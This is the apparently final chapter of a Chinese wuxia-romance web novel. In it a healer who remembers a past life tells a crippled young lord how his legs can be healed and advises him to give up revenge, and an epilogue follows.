辛韵穿过人群走近坐到床榻边，轻轻握住谷清音的手，对视之时，瞳孔放大，“啊！”
“怎么了？”
谷清音捂着头蜷缩着，痛苦的低吼着。
“清音？”
“你们先出去。”
“我没事。”喘息着坐起身，不知何时她的脸上已满是泪水，辛韵在火海中被一剑封喉的模样在浮现脑海，“我……”好像记起来了，“没事。”
看向那半开的门，此时……“师姐去忙吧。”
“当真无事。”
“嗯。”
“那你好生休息。”辛韵轻轻拍了拍她的肩膀便拉着叶黎出去了。
待她们离开谷清音也穿上衣裳走了出去，看着
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不远处的秋千，走过去坐下了，脑海中原本混乱的记忆也慢慢清晰。
这好像已是她回来的第五个年头了。
那年，见到那黑袍人之后她的脑海便很混沌，感觉好像并不能控制自己的身体一样，只是那时她并没有离开神医谷外出游历。
那今日……“他该来了。”
秋千晃动个不停，她的思绪也翻滚不断。
“不知今日为何谷中只有姑娘一人？”熟悉又陌生的声音传来，转头望去，就见坐着轮椅的箫祁政被人推着离她越来越近。
微风轻拂，谷清音移开了眼神。
“她们下山义诊了。”
“多谢告知，那我下次再来。”箫祁政扯了扯腿上的毛毯，看似并不认识谷清音，“走吧。”
“公子，我可等了你许久了。”
秋千缓缓停下，两人视线相交，箫祁政眼中的不解逐渐消散，染上一丝激动，“姑娘便是苏谷主的亲传弟子？”
“是。”谷清音点了点头，秋千再次晃动。
“姑娘知道我要来？”
“是。”
“不知姑娘可有办法治好我的腿？”箫祁政已经到了谷清音身边，眼神一直落在她的身上，等待着那个答案。
“有。”
“多谢……”
“不过……”谷清音开口的瞬间，箫祁政脸上的笑容便僵住了，依旧认真听着她接下来的话。
“耗时很长，也很痛苦。”
“我可以。”
苏白英失踪，谷清音是他最后的希望了，无论再痛苦他也可以忍耐。
“第一步……”
“药浴。”
需按着她的方子每日泡一个时辰，直到腿恢复知觉，“少之两年，又或三五年，可都不会说。”
“第二步……便是断骨。”
需等有了痛觉后将腿骨敲断，让他重新生长，“等长好后可在别人的帮助下试着站起。”
“适应后便可行走。”不过……这可也是一个漫长的过程啊。
“就是站起来了也无法恢复如初了。”
也无法报仇了。
箫祁政的脸上变得难看，犹豫一瞬咽了咽口水轻叹一声，“还请姑娘将药方送我。”
谷清音点了点头待秋千缓缓停下才朝他伸出手却，等他将手展开是一枚铜币落在他的掌心，“我今日算了一卦。”
“不仅算出公子今日会来。”
“还算出……”谷清音垂眸一笑再次看向他，“公子可信我？”
“自然是信的。”
不管这是不是心里话谷清音还是满意的点了点头，“天水城四季如春，公子何不前去养伤？”
天水城？
“姑娘怎么知道的？”
谷清音伸手指了指他手上的铜币，一切尽在不言中。
“可是……”
仇人都在京城，他又怎么能逃到别处呢。
“公子又何苦同自己过不去呢？若是执念太深，公子便改日再来吧。”
“姑娘能否让我知其缘由？”
缘由？谷清音垂眸思索了片刻，“人生得意须尽欢。”
“如今天下太平，百姓安居。”
“公子的执着终究是害人害己啊。”
“我……”箫祁政自是不会因他这三言两语而动摇，可是……“我明白了。”
“公子当真明白了？”
“当真。”
“哈哈。”看出他心中的不愿，谷清音脚一蹬秋千晃的更高了，“公子明白了便去天水城吧。”
“一年后会有人送去药方。”
“用你手上的铜币换便可。”
“一年吗？”箫祁政心中有些不愿，可也不敢再说什么，“多谢。”
看着他离去的背影，秋千缓缓停下，谷清音脸上的笑容也逐渐消失，但愿这一年能改变他心中的想法吧。
一年后，辛韵主动替她送去了药方，并留下照顾箫祁政，相处中两人日久生情，诞下一女。
而谷清音一直在青鸾山上呆着，本以为宫中会派人却一直没有等到，她也未停留寻找苏白英发步伐。
【全文完】
【鸢尾花的花语：绝望的爱，可遇不可留，可遇不可求。】